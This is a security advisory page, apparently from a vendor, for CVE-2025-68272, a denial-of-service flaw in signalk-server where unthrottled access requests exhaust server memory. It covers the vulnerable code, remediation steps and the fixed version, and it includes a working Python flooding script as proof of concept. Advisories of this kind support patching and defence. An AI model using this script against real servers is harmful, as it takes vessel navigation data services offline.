CVE-2025-68272 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in signalk-server. A fix is available for signalk-server — see the affected versions and patch details below.
Signal K Server Vulnerable to Denial of Service via Unrestricted Access Request Flooding
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-68272.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2025-68272 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
signalk-servernpmDescription
Summary
A Denial of Service (DoS) vulnerability allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (/signalk/v1/access/requests). This causes a "JavaScript heap out of memory" error due to unbounded in-memory storage of request objects.
Details
The vulnerability is caused by a lack of rate limiting and improper memory management for incoming access requests.
Vulnerable Code Analysis:
- In-Memory Storage: In
src/requestResponse.js, requests are stored in a simple JavaScript object:const requests = {} - Unbounded Growth: The
createRequestfunction adds new requests to this object without checking the current size or count of existing requests. - Infrequent Pruning: The
pruneRequestsfunction, which removes old requests, runs only once every 15 minutes (pruneIntervalRate). - No Rate Limiting: The endpoint
/signalk/v1/access/requestsaccepts POST requests from any client without any rate limiting or authentication (by design, as it's for initial access requests).
Exploit Scenario:
- An attacker sends a large number of POST requests (e.g., 20,000+) or requests with large payloads to
/signalk/v1/access/requests. - The server stores every request in the
requestsobject in the Node.js heap. - The heap memory usage spikes rapidly.
- The Node.js process hits its memory limit (default ~1.5GB) and crashes with
FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory.
PoC
The following Python script reproduces the crash by flooding the server with requests containing 100KB payloads.
import urllib.request
import json
import threading
import time
# Target Configuration
TARGET_URL = "http://localhost:3000/signalk/v1/access/requests"
PAYLOAD_SIZE_MB = 0.1 # 100 KB per request
NUM_REQUESTS = 20000 # Sufficient to exhaust heap
CONCURRENCY = 50
# Generate a large string payload
LARGE_STRING = "A" * (int(PAYLOAD_SIZE_MB * 1024 * 1024))
def send_heavy_request(i):
try:
payload = {
"clientId": f"attacker-device-{i}",
"description": LARGE_STRING, # Stored in memory!
"permissions": "readwrite"
}
data = json.dumps(payload).encode('utf-8')
req = urllib.request.Request(
TARGET_URL,
data=data,
headers={'Content-Type': 'application/json'},
method='POST'
)
# Short timeout as server might hang
urllib.request.urlopen(req, timeout=5)
except:
pass
def attack():
print(f"[*] Starting DoS Attack on {TARGET_URL}...")
threads = []
for i in range(NUM_REQUESTS):
t = threading.Thread(target=send_heavy_request, args=(i,))
threads.append(t)
t.start()
if len(threads) >= CONCURRENCY:
for t in threads: t.join()
threads = []
if __name__ == "__main__":
attack()
Expected Result: Monitor the server process. Memory usage will increase rapidly, and the server will eventually terminate with an Out of Memory (OOM) error.
Impact
Verified Denial of Service: During our verification using the provided PoC, we observed the following:
- Rapid Memory Exhaustion: The Node.js process memory usage increased by approximately 30MB within seconds of starting the attack.
- Service Instability: Continued execution of the PoC quickly leads to a
FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memorycrash. - Service Unavailability: The server becomes completely unresponsive and terminates, requiring a manual restart to recover. This allows an unauthenticated attacker to easily take the vessel's navigation data server offline.
Remediation
1. Implement Rate Limiting
Use a middleware like express-rate-limit to restrict the number of requests from a single IP address to /signalk/v1/access/requests.
2. Limit Request Storage
Modify src/requestResponse.js to enforce a maximum number of stored requests (e.g., 100). If the limit is reached, reject new requests or evict the oldest ones immediately.
3. Validate Payload Size
Enforce strict limits on the size of the description and other fields in the access request payload.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | signalk-server | all versions | 2.19.0npm install signalk-server@2.19.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for signalk-server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update signalk-server to 2.19.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-68272 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-68272 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-68272. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-68272 in your dependencies?
O3 Security finds CVE-2025-68272 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.